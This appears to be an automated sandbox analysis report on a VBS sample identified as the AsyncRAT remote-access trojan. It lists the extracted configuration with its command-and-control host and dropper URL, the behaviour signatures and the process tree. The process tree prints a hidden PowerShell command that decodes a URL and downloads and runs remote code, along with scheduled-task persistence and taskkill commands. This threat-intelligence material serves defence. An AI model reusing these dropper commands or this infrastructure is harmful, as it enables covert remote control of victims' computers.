Analysis

  • max time kernel
    298s
  • max time network
    293s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/05/2026, 12:11

General

  • Target
    Voice_Eyad_Algeria_mali2026.vbs
  • Size 14KB
  • Sample260504-pcrdxaaw7x
  • SHA256 7b5ff9ebc349ec7ab62d28677ea60e007db2496e2344bc19ae290da3b49cb7f4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://pchs3.krakencloud.net/uploads/02-05-2026/uwiNbVhD3B/image.png

Extracted

Family
  • asyncrat

Version
  • MDGO LY RAT

Botnet
  • B01

C2
  • freedoom.ydns.eu:6161

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 10 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Voice_Eyad_Algeria_mali2026.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByName((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method, [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9wY2hzMy5rcmFrZW5jbG91ZC5uZXQvdXBsb2Fkcy8wMi0wNS0yMDI2L3V3aU5iVmhEM0IvaW1hZ2UucG5n')) )|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByName"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /tn devil /f
        3⤵
          PID:1696
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2528
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3756
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:928
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2676
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2284
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3856
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2548
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1640
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2504
        • C:\Windows\system32\taskkill.exe
          "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:212
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Create /XML C:\Users\Public\Music\/Googless.xml /TN devil
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4980
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn devil
          3⤵
            PID:3900
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\Music\ERMQQATKFQF.vbs"
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4548
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4476
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4728
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1860
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:2012
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3192
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2628
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2976
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1468
      • C:\Windows\System32\WScript.exe
        C:\Windows\System32\WScript.exe "C:\Users\Public\Music\//ERMQQATKFQF.vbs"
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass $usefont='ReadAllText';$egbus='C:\Users\Public\Music\/COJLCAHTKUTB.NRXED';IEx([IO.File]::$usefont($egbus))
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1776
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1220

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 c3c48b8887bce6027d8b4b286a4c9bf3653c91cc1cb8d1105ae00a48d9df4dd1
            • MD5 SHA1 SHA512 TLSH

            aspnet_compiler.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_compiler.exe.log
            • Size 425B
            • SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 b4dc4acd6753028b951ccaa769884fef1f44cd1fee86578aaf0da0c0acd4b98d
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 b9bc217f3644a32773c73b8dad104d3e55e4dcb79d933685022356b8ad6470fd
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 05fe48a93a9dc617140f1f6aa6c5ba18f517421eeec2ab401d7ca552a56b9c2b
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 e8fe5c6da1f6982470c8523188437326e2b14af3574642a7dc3eefdeca229ef2
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_ii3bjorl.ifb.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ii3bjorl.ifb.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            COJLCAHTKUTB.NRXED

            • Path C:\Users\Public\Music\COJLCAHTKUTB.NRXED
            • Size 670KB
            • SHA256 dea1e90127c8030d532c2d17519682c1a11a774e564c185e993dcb3c89d6579b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ERMQQATKFQF.vbs

            • Path C:\Users\Public\Music\ERMQQATKFQF.vbs
            • Size 246B
            • SHA256 639814200de9a73241038c0cc97fceabf8fb65e63e5fc9e65e66d3db930c507e
            • MD5 SHA1 SHA512 TLSH

            Googless.xml

            • Path C:\Users\Public\Music\Googless.xml
            • Size 1KB
            • SHA256 7392c08755d11b3543226b21bfa1d43c7dd9ebafec43555fdee6832b9d9469d4
            • MD5 SHA1 SHA512 TLSH

            memory/568-19-0x000001E23D4C0000-0x000001E23D4CC000-memory.dmp

            memory/568-20-0x000001E23D890000-0x000001E23D93D000-memory.dmp

            memory/1220-131-0x00000000006B0000-0x00000000006D4000-memory.dmp

            memory/1248-120-0x0000026BB81C0000-0x0000026BB826D000-memory.dmp

            memory/1248-119-0x0000026BB64D0000-0x0000026BB64DC000-memory.dmp

            memory/1468-104-0x0000000000C80000-0x0000000000CA4000-memory.dmp

            memory/1472-2-0x00000279F7610000-0x00000279F7620000-memory.dmp

            memory/1472-21-0x00000279F71D0000-0x00000279F71DC000-memory.dmp

            memory/1472-3-0x00000279F7610000-0x00000279F7620000-memory.dmp

            memory/1472-22-0x00000279F7620000-0x00000279F76CD000-memory.dmp

            memory/1472-15-0x00000279F7610000-0x00000279F7620000-memory.dmp

            memory/1472-33-0x00000279F71D0000-0x00000279F71DC000-memory.dmp

            memory/1472-16-0x00000279F7610000-0x00000279F7620000-memory.dmp

            memory/1472-11-0x00000279F7940000-0x00000279F7962000-memory.dmp

            memory/1472-34-0x00000279F7620000-0x00000279F76CD000-memory.dmp

            memory/1776-134-0x0000023FE69A0000-0x0000023FE6A4D000-memory.dmp

            memory/1776-133-0x0000023FCE1D0000-0x0000023FCE1DC000-memory.dmp

            memory/1800-0-0x00000204A3730000-0x00000204A373C000-memory.dmp

            memory/1800-1-0x00000204A5420000-0x00000204A54CD000-memory.dmp

            memory/1860-54-0x0000000000740000-0x0000000000764000-memory.dmp

            memory/2012-65-0x000001D6ECB50000-0x000001D6ECBFD000-memory.dmp

            memory/2012-64-0x000001D6ECB10000-0x000001D6ECB1C000-memory.dmp

            memory/2628-77-0x0000000000BD0000-0x0000000000BF4000-memory.dmp

            memory/2976-107-0x0000027648280000-0x000002764832D000-memory.dmp

            memory/2976-106-0x0000027647FE0000-0x0000027647FEC000-memory.dmp

            memory/3192-80-0x00000196C3D20000-0x00000196C3DCD000-memory.dmp

            memory/3192-79-0x00000196AB570000-0x00000196AB57C000-memory.dmp

            memory/3424-36-0x000001B8F6D80000-0x000001B8F6D8C000-memory.dmp

            memory/3424-37-0x000001B8F8A30000-0x000001B8F8ADD000-memory.dmp

            memory/4292-93-0x0000028E98560000-0x0000028E9860D000-memory.dmp

            memory/4292-92-0x0000028E968C0000-0x0000028E968CC000-memory.dmp

            memory/4476-52-0x0000000004F00000-0x0000000004F0A000-memory.dmp

            memory/4476-62-0x0000000000650000-0x0000000000674000-memory.dmp

            memory/4476-51-0x0000000004F10000-0x0000000004FA2000-memory.dmp

            memory/4476-50-0x00000000052D0000-0x0000000005874000-memory.dmp

            memory/4476-39-0x0000000000190000-0x00000000001A8000-memory.dmp

            memory/4548-57-0x00000252F12A0000-0x00000252F134D000-memory.dmp

            memory/4548-56-0x00000252EF300000-0x00000252EF30C000-memory.dmp

            memory/4548-38-0x00000252F0CD0000-0x00000252F0CD6000-memory.dmp

            memory/4548-35-0x00000252F1250000-0x00000252F127C000-memory.dmp

            memory/4728-60-0x00000266269B0000-0x00000266269BC000-memory.dmp

            memory/4728-61-0x000002663F0E0000-0x000002663F18D000-memory.dmp